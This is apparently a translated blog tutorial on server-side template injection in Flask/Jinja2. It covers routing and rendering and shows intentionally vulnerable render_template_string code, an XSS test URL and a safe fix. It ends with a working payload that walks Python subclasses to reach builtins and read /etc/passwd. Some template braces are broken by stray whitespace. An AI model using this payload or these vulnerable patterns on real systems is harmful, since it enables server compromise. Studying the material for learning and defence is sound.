SSTI template injection summary

python template

  • Python templates are Tornado, Flask, Django
  • The template engine dynamically analyzes the template, replaces the variables passed into the template engine, and finally displays it to the customer
  • SSTI server-side template injection is precisely because the code uses insecure string splicing to construct the template file and trusts the user's input too much.

Flask Jinja 2

  • grammar
  • {%……%} statement
  • { {…}} Print template output expression
  • {#…#} Notes
  • #…##Line statement

Flask framework learning

routing

from flask import Flask
app = Flask(__name__)

@app.route('/')
def index():
    return "欢迎来到我的世界"

@app.route('/hello')
def hello():
    return '我们的生活甜的像糖'
    
if __name__ == '__main__':
    app.run()

@app.route('/') sets two routes to be'/''/hello'
@app.route() is an instantiated object of Flask, Flask uses a decorator to identify the URL path that the user needs to visit

  • For example: the example given above
    Insert picture description here

variable

<>Define the variable parameters of the route, <> needs a name.

from flask import Flask
app = Flask(__name__)

@app.route('/')
def index():
    return "欢迎来到我的世界"

@app.route('/hello/<user_name>')
def hello(user_name):
    return '%s,我们的生活甜的像糖'%user_name
    
if __name__ == '__main__':
    app.run()
  • operation result
    Insert picture description here

Modification of the routing request method

@app.route('/',methods=['GET','POST'])
def index():
   return "GET/POST"

Flask rendering

The template is to use the placeholder to express the dynamic part of the dynamic.
Rendering is to replace the real value obtained by the placeholder for the face represented by the placeholder, and finally return the final string
render_template() is used to render a specified file.
render_template_string( ) Is used to render a string.

  • The SSTI vulnerability exists with the function render_template_string()

render_template()

  • Create the following file
    Insert picture description here
  • templates: folder is used to store template files
  • test1: is the running file of the flask framework
from flask import Flask,url_for,redirect,render_template,render_template_string
app = Flask(__name__,template_folder='templates')
# template_folder 指向你的模板目录

@app.route('/index/')
def index():
    title = 'This is index page'
    content = '我可以陪你去看星星'
    return render_template('index.html',title = title,content = content)

@app.route('/hello/<user_name>')
def hello(user_name):
    return '%s,我们的生活甜的像糖'%user_name
    
if __name__ == '__main__':
    app.run()
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <h1>{
   
   {title}}</h1>
    <p>{
   
   {content}}</p>
</body>
</html>
  • operation result
    Insert picture description here

Render_template_string()

from flask import Flask,url_for,redirect,render_template,render_template_string
app = Flask(__name__,template_folder='templates')
# template_folder 指向你的模板目录

@app.route('/index/')
def index():
    title = '<h1>我可以陪你去看星星</h1>'
    return render_template_string(title)

@app.route('/hello/<user_name>')
def hello(user_name):
    return '%s,我们的生活甜的像糖'%user_name
    
if __name__ == '__main__':
    app.run()
  • operation result
    Insert picture description here

Code block

  • {%……%} The control code block can realize some logic functions, such as loops or conditions.
  • { {…}} Variable code block
  • {#…#} Notes
  • #…##Line statement

SSTI first experience

  • SSTI causes the RCE vulnerability to exist in the render_template_string() function
  • Next, give a code example
from flask import Flask,url_for,redirect,render_template,render_template_string,request

app = Flask(__name__,template_folder='templates')
#template_folder 指向你的模板目录

@app.route('/index/')
def index():
    title = request.args.get('title') # get方式获取id
    html="<h1>%s</h1>"%(title)
    return render_template_string(html)

@app.route('/hello/<user_name>')
def hello(user_name):
    return '%s,我们的生活甜的像糖'%user_name
    
if __name__ == '__main__':
    app.run()
  • We pass in?title=aaaInsert picture description here
  • Verify XSS
http://127.0.0.1:5000/index/?title=%3Cscript%3Evar%20current_day%20=%20new%20Date();var%20today%20=%20current_day.getTime();alert(today);%3C/script%3E

Insert picture description here

  • Modify the code
from flask import Flask,url_for,redirect,render_template,render_template_string,request
from jinja2 import Template

app = Flask(__name__,template_folder='templates')
# template_folder 指向你的模板目录

@app.route('/index/')
def index():
    title = request.args.get('title','guest') # get方式获取id
    t = Template("Hello" + title)
    return t.render()

@app.route('/hello/<user_name>')
def hello(user_name):
    return '%s,我们的生活甜的像糖'%user_name
    
if __name__ == '__main__':
    app.run()
  • Verify SSTI injection
    Insert picture description here
  • This problem can be avoided. Here are the ways to avoid it
title = request.args.get('title', 'guest')
t = Template("Hello {
    
    {n}}")
return t.render(n=title)

SSTI与RCE

from flask import Flask,url_for,redirect,render_template,render_template_string,request

app = Flask(__name__,template_folder='templates')
#template_folder 指向你的模板目录

@app.route('/index/')
def index():
    title = request.args.get('title') # get方式获取id
    html="<p>%s</p>"%(title)
    return render_template_string(html)

@app.route('/hello/<user_name>')
def hello(user_name):
    return '%s,我们的生活甜的像糖'%user_name
    
if __name__ == '__main__':
    app.run()
  • In this environment, let's try SSTI and RCE execution

In jinja2, you can directly access some objects and methods in python

  • base returns a class directly inherited by a class as a tuple
  • mro returns the inheritance relationship chain as a tuple
  • class returns the class to which the object belongs
  • globals uses dict to return all variables in the namespace of the module where the function is located
  • subclasses () returns the subclasses of the class as a list
  • The initialization method of the init class
  • Builtin built-in functions, some functions can be run directly in python, such as int(), list(), etc., these functions can be
  • Inject it into the environment built by yourself
- 寻找基类
  ''.__class__.__base__
<class 'object'>
- 寻找可引用类
''.__class__.__base__.__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>
  • payload:
{
    
    % for c in [].__class__.__base__.__subclasses__() %}{
    
    % if c.__name__=='catch_warnings' %}{
    
    {
    
     c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{
    
    % endif %}{
    
    % endfor %}

Guess you like

Origin blog.csdn.net/CyhDl666/article/details/114886494